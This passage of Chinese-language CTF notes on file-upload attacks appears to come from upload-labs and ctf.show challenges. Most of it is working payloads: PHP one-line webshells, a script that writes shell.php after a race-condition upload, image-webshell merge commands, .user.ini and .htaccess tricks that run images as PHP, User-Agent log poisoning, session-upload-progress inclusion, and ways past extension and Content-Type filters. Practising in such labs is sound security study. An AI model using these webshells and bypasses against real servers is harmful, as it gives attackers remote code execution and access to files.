unlink("upload/".$_FILES["file"]["name"]); // 删除文件 | |
} | |
} | |
?> |
攻击者写上传 WebShell 脚本 10.pho,10.php 的内容是生成一个新的 WebShell 脚本 shell.php,10.php 的代码如下:
<?php | |
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[1]);?>') | |
?> |
- 当 10.php 上传成功之后,客户端立即访问 10.php,则会在上级目录下自动生成
shell.php
# upload-lab 相关知识
-
黑名单没有完全过滤所有后缀名
-
构造 php::$DATA 绕过
-
windows 中会被认为是 php 文件解析
-
windows 系统中
.php.
会自动认为是.
-
文件头
GIF89a (16 进制) =47494638
- 构造图片马命令:
cat 1.png 1.php > 2.php | |
或者 | |
copy 1.jpg /b + 1.php 14.jpg |
/b 是以二进制的形式复制,合并文件,用于图像类声音类文件
- move_upload_file 问题 (upload-19)
1. move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的 |
发现 move_uploaded_file()
函数中的 img_path
是由 post
参数 save_name
控制的,因此可以在 save_name
利用 00 截断绕过
# CTF 常见思路
- 找到允许上传的文件类型,抓包
- 在 Content-Type 正确的情况下,首先尝试直接更改 后缀为 .php ,写入一句话木马
- 上述不允许的情况下,观察服务器类型,nginx 尝试 .user.ini ,Apache 尝试 .htaccess
# .user.iniauto_prepend_file=1.pngauto_prepend_file=testauto_prepend_file=/var/log/nginx/access.log | |
# .htaccessAddType application/x-httpd-php .png # 特定文件后缀当作 php 文件处理 AddHandler php5-script php # 包含关键字的文件名当作 php 文件处理 & lt;FilesMatch "文件名"> # 特定文件名当作 php 文件处理 SetHandler application/x-httpd-php</FilesMatch>SetHandler application/x-httpd-php #所有文件后缀都当作 php 文件处理 |
.user.ini 注意该目录下是否已经含有 .php 文件
过滤 php
# 大小写绕过# 短标签 |
过滤 []
# {} 绕过 |
过滤 分号;
# 命令执行 | |
<? system("nl ../f*")?> | |
<?=(system('nl ../f*'))?> | |
<?= `nl ../*.p*`?> | |
<?= `nl ../f*`?> | |
<?=(system('tac ../f*'))?> |
日志包含
过滤 log Web 160 | |
#上传 .user.ini | |
auto_prepend_file=123.png | |
# 上传 123.png,在其中进行拼接 | |
# nginx 服务器 | |
<?=include"/var/log/nginx/access.log"?> | |
# 由于 log 被过滤,进行拼接 | |
<?=include"/var/l"."og/nginx/access.l"."og"?> | |
# 访问 /upload/index.php 抓包 | |
在 User-Agent 中添加恶意代码 <?php system('cat ../flag.php'); ?> ,访问 | |
未过滤 log Web 169 170 | |
# 上传 .user.ini | |
auto_prepend_file=/var/log/nginx/access.log | |
# 上传 .php 文件,同时 User-Agent 写入 代码 <?php phpinfo(); ?><?php @eval($_POST['a']); ?> | |
内容随意 | |
# 访问,命令执行 |
.user.ini 上传不了?尝试文件头写入
GIF89a |
过滤 .
Web 162-163
# 即不能包含日志文件,则包含 session 文件 | |
# 上传 .user.iniGIF89aauto_prepend_file=test | |
# 上传 testGIF89a<?=include"/tmp/sess_test"?> | |
# 构造 POST 数据包 | |
<!DOCTYPE html> | |
<html> | |
<body> | |
<form action="http://e2f78cd5-b2b8-40b9-8104-7dc18214350b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"> | |
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> | |
<input type="file" name="file" /> | |
<input type="submit" value="submit" /> | |
</form> | |
</body> | |
</html> | |
# 任意上传文件,抓包修改,PHPSESSID=test,写入代码添入变量 Numbers 爆破 | |
# 访问 /upload/index.php 添入变量 Numbers 同时爆破 |
二次渲染 Web 164 165
png 图片 | |
# 脚本生成图片上传,访问,命令执行 <?=(GET[0]_POST[1]);?> | |
# 下载至本地查看(文件包含) | |
jpg 图片 | |
# 直接上传 jpg 图片,下载回来,使用脚本处理,得到新的 jpg 图片,再次上传 | |
# 下载至本地查看(文件包含) |
后缀类型不可猜测时,.zip 文件上传 Web 166
# 上传 .zip 文件抓包 Content-Type: | |
application/x-zip-compressed# 内容直接是恶意代码 | |
# 找到 .zip 文件路径,进行查看 | |
# 命令执行 |
免杀 Web 168
前端做后缀检测,后端做不同后缀的 Content-Type 检测,注意抓包后修改 Content-Type 为白名单